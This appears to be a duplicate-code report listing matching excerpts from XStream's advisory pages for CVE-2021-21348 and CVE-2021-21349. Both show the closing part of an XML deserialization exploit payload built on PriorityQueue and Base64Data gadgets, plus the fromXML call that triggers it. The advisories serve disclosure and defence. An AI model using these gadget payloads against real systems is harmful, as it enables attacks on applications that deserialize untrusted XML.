xstream-distribution/src/content/CVE-2021-21348.html [96:117]:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
              </iterator>
              <type>KEYS</type>
            </e>
            <in class='java.io.ByteArrayInputStream'>
              <buf></buf>
              <pos>0</pos>
              <mark>0</mark>
              <count>0</count>
            </in>
          </is>
          <consumed>false</consumed>
        </dataSource>
        <transferFlavors/>
      </dataHandler>
      <dataLen>0</dataLen>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



xstream-distribution/src/content/CVE-2021-21349.html [64:85]:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
              &lt;/iterator&gt;
              &lt;type&gt;KEYS&lt;/type&gt;
            &lt;/e&gt;
            &lt;in class='java.io.ByteArrayInputStream'&gt;
              &lt;buf&gt;&lt;/buf&gt;
              &lt;pos&gt;0&lt;/pos&gt;
              &lt;mark&gt;0&lt;/mark&gt;
              &lt;count&gt;0&lt;/count&gt;
            &lt;/in&gt;
          &lt;/is&gt;
          &lt;consumed&gt;false&lt;/consumed&gt;
        &lt;/dataSource&gt;
        &lt;transferFlavors/&gt;
      &lt;/dataHandler&gt;
      &lt;dataLen&gt;0&lt;/dataLen&gt;
    &lt;/com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&gt;
    &lt;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/&gt;
  &lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -